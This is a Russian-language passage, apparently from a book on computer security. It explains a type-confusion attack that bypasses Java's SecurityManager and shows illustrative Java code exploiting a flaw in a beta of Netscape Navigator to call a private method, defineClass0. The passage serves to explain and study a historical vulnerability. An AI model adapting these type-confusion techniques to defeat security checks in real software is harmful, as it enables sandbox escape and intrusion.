Теперь m указывает на ту же область памяти, где находится SecurityManager, и мы можем безболезненно менять его содержимое через поля объекта m. Подобная атака сработает при любом смешении типов, остается лишь найти ошибку, позволяющую проделать подобное совмещение указателей.
И такая ошибка была найдена в одной из бета-версий Netscape Navigator. При создании класса T неявно создается тип
interface Inter
{
void f();
}
class Secure implements Inter
{
private void f();
}
class Dummy extends Secure implements Inter
{
public void f();
Dummy()
{
Secure s = new Secure();
Inter i = (Inter) s;
i.f();
}
}В этом коде вызов i.f() должен быть опознан как вызов защищенного метода класса Secure и запрещен. Неверное поведение Netscape Navigator 2.02 привело к возможности вызова закрытой функции defineClass0, призванной исправить ошибки в верификаторе и механизме загрузки классов. Небольшая модификация этой же ошибки:
interface Inter
{
void f();
}
class Secure implements Inter
{
private void f();
}
class Dummy implements Inter
{
public void f();
static void attack()
{
Inter inter[2] = {new Dummy(), new Secure() };
for(int j=0; j<2; ++j) inter[j].f();
}
}Вильям Л Саймон , Вильям Саймон , Наталья Владимировна Макеева , Нора Робертс , Юрий Викторович Щербатых
Зарубежная компьютерная, околокомпьютерная литература / ОС и Сети, интернет / Короткие любовные романы / Психология / Прочая справочная литература / Образование и наука / Книги по IT / Словари и Энциклопедии